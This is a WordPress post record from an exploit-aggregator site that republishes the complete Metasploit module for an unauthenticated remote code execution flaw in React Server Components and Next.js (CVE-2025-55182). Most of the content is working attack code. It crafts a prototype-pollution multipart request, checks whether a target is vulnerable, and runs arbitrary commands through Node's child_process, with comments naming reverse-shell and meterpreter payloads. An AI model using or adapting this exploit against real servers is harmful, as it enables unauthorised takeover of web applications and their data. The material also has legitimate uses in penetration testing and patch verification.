{"id":29735,"date":"2025-12-09T12:37:35","date_gmt":"2025-12-09T12:37:35","guid":{"rendered":"http:\/\/localhost\/?p=29735"},"modified":"2025-12-09T12:37:35","modified_gmt":"2025-12-09T12:37:35","slug":"react-nextjs-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=29735","title":{"rendered":"\ud83d\udcc4 React \/ Next.js Unauthenticated Remote Code Execution_PACKETSTORM:212599"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:45:58&#8243;,&#8221;description&#8221;:&#8221;A critical unauthenticated remote code execution vulnerability exists in React Server Components RSC Flight protocol. The vulnerability allows attackers to achieve prototype pollution during deserialization of RSC payloads by sending specially crafted&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 React \/ Next.js Unauthenticated Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212599&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-55182&#8243;,&#8221;CVE-2025-66478&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      prepend Msf::Exploit::Remote::AutoCheck\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Unauthenticated RCE in React and Next.js&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server\\n              Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype\\n              pollution during deserialization of RSC payloads by sending specially crafted multipart\\n              requests with \\&#8221;__proto__\\&#8221;, \\&#8221;constructor\\&#8221;, or \\&#8221;prototype\\&#8221; as module names.\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;Maksim Rogov&#8217;, # Metasploit Module\\n              &#8216;Lachlan Davidson&#8217;, # Vulnerability Discovery\\n              &#8216;maple3142&#8217; # Public Exploit\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2025-55182&#8217;],\\n              [&#8216;CVE&#8217;, &#8216;2025-66478&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/react.dev\/blog\/2025\/12\/03\/critical-security-vulnerability-in-react-server-components&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/gist.github.com\/maple3142\/48bc9393f45e068cf8c90ab865c0f5f3&#8217;]\\n            ],\\n            &#8216;Platform&#8217; =\\u003e [&#8216;multi&#8217;],\\n            &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;Unix Command&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    &#8216;FETCH_COMMAND&#8217; =\\u003e &#8216;WGET&#8217;\\n                  }\\n                  # Tested with cmd\/unix\/reverse_bash\\n                  # Tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n                }\\n              ],\\n              [\\n                &#8216;Windows Command&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e [&#8216;windows&#8217;]\\n                  # Tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp\\n                }\\n              ],\\n            ],\\n            &#8216;Payload&#8217; =\\u003e {\\n              &#8216;BadChars&#8217; =\\u003e &#8216;\\&#8221;&#8216;\\n            },\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-12-03&#8217;,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;AKA&#8217; =\\u003e [&#8216;React2Shell&#8217;],\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION]\\n            }\\n          )\\n        )\\n    \\n        register_options(\\n          [\\n            OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to the React App&#8217;, &#8216;\/&#8217;]),\\n          ]\\n        )\\n      end\\n    \\n      def build_malicious_chunk(ref_idx, reason, get_token, node_payload)\\n        {\\n          &#8216;then&#8217; =\\u003e \\&#8221;$#{ref_idx}:then\\&#8221;,\\n          &#8216;status&#8217; =\\u003e &#8216;resolved_model&#8217;,\\n          &#8216;reason&#8217; =\\u003e reason,\\n          &#8216;value&#8217; =\\u003e { &#8216;then&#8217; =\\u003e &#8216;$B&#8217; }.to_json,\\n          &#8216;_response&#8217; =\\u003e {\\n            &#8216;_prefix&#8217; =\\u003e node_payload,\\n            &#8216;_formData&#8217; =\\u003e {\\n              &#8216;get&#8217; =\\u003e \\&#8221;$#{ref_idx}:#{get_token}:constructor\\&#8221;\\n            }\\n          }\\n        }.to_json\\n      end\\n    \\n      def get_random_value\\n        random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase\\n        [&#8216;\\&#8221;\\&#8221;&#8216;, &#8216;{}&#8217;, &#8216;[]&#8217;, &#8216;null&#8217;, &#8216;undefined&#8217;, &#8216;true&#8217;, &#8216;false&#8217;, \\&#8221;\\\\\\&#8221;#{random_string}\\\\\\&#8221;\\&#8221;].sample\\n      end\\n    \\n      def build_post_data(node_payload)\\n        random_reason = -Rex::Text.rand_text_numeric(1, &#8216;0&#8217;).to_i\\n        random_ref_idx = Rex::Text.rand_text_numeric(1, &#8216;0&#8217;).to_i\\n        random_get_token = [&#8216;then&#8217;, &#8216;constructor&#8217;].sample\\n    \\n        chunk = build_malicious_chunk(random_ref_idx, random_reason, random_get_token, node_payload)\\n    \\n        post_data = Rex::MIME::Message.new\\n        post_data.add_part(chunk, nil, nil, &#8216;form-data; name=\\&#8221;0\\&#8221;&#8216;)\\n    \\n        cycle_length = rand(random_ref_idx..9)\\n        (1..cycle_length).each do |i|\\n          value = (i == random_ref_idx) ? \\&#8221;\\\\\\&#8221;$@#{random_ref_idx}\\\\\\&#8221;\\&#8221; : get_random_value\\n          post_data.add_part(value, nil, nil, \\&#8221;form-data; name=\\\\\\&#8221;#{i}\\\\\\&#8221;\\&#8221;)\\n        end\\n    \\n        post_data\\n      end\\n    \\n      def send_payload(node_payload)\\n        post_data = build_post_data(node_payload)\\n    \\n        send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;headers&#8217; =\\u003e { &#8216;Next-Action&#8217; =\\u003e &#8221; },\\n          &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{post_data.bound}\\&#8221;,\\n          &#8216;data&#8217; =\\u003e post_data.to_s\\n        )\\n      end\\n    \\n      def check\\n        random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase\\n        node_payload = \\&#8221;throw Object.assign(new Error(&#8216;NEXT_REDIRECT&#8217;),{digest:`NEXT_REDIRECT;push;\/#{random_id};307;`});\\&#8221;\\n    \\n        res = send_payload(node_payload)\\n        return CheckCode::Unknown(\\&#8221;#{peer} &#8211; No response from web service\\&#8221;) unless res\\n    \\n        headers_text = res.headers.to_s\\n        return CheckCode::Appears if res.code == 303 \\u0026\\u0026 headers_text.include?(\\&#8221;\/#{random_id};push\\&#8221;)\\n    \\n        CheckCode::Safe(\\&#8221;The target #{target_uri} is not vulnerable\\&#8221;)\\n      end\\n    \\n      def exploit\\n        node_payload = \\&#8221;process.mainModule.require(&#8216;child_process&#8217;).exec(\\\\\\&#8221;#{payload.encoded}\\\\\\&#8221;,{detached:true,stdio:&#8217;ignore&#8217;},function(){});\\&#8221;\\n        send_payload(node_payload)\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212599&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212599\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:45:58&#8243;,&#8221;description&#8221;:&#8221;A critical unauthenticated remote code execution vulnerability exists in React Server Components RSC Flight protocol. The vulnerability allows attackers to achieve prototype pollution during deserialization&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-29735","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 React \/ Next.js Unauthenticated Remote Code Execution_PACKETSTORM:212599 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=29735\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 React \/ Next.js Unauthenticated Remote Code Execution_PACKETSTORM:212599 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:45:58&#8243;,&#8221;description&#8221;:&#8221;A critical unauthenticated remote code execution vulnerability exists in React Server Components RSC Flight protocol. The vulnerability allows attackers to achieve prototype pollution during deserialization...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=29735\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-09T12:37:35+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29735#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29735\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 React \\\/ Next.js Unauthenticated Remote Code Execution_PACKETSTORM:212599\",\"datePublished\":\"2025-12-09T12:37:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29735\"},\"wordCount\":873,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29735#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29735\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29735\",\"name\":\"\ud83d\udcc4 React \\\/ Next.js Unauthenticated Remote Code Execution_PACKETSTORM:212599 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-09T12:37:35+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29735#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29735\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29735#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 React \\\/ Next.js Unauthenticated Remote Code Execution_PACKETSTORM:212599\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 React \/ Next.js Unauthenticated Remote Code Execution_PACKETSTORM:212599 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=29735","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 React \/ Next.js Unauthenticated Remote Code Execution_PACKETSTORM:212599 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:45:58&#8243;,&#8221;description&#8221;:&#8221;A critical unauthenticated remote code execution vulnerability exists in React Server Components RSC Flight protocol. The vulnerability allows attackers to achieve prototype pollution during deserialization...","og_url":"https:\/\/zero.redgem.net\/?p=29735","og_site_name":"zero redgem","article_published_time":"2025-12-09T12:37:35+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=29735#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=29735"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 React \/ Next.js Unauthenticated Remote Code Execution_PACKETSTORM:212599","datePublished":"2025-12-09T12:37:35+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=29735"},"wordCount":873,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=29735#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=29735","url":"https:\/\/zero.redgem.net\/?p=29735","name":"\ud83d\udcc4 React \/ Next.js Unauthenticated Remote Code Execution_PACKETSTORM:212599 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-09T12:37:35+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=29735#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=29735"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=29735#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 React \/ Next.js Unauthenticated Remote Code Execution_PACKETSTORM:212599"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29735","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29735"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29735\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29735"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29735"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29735"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}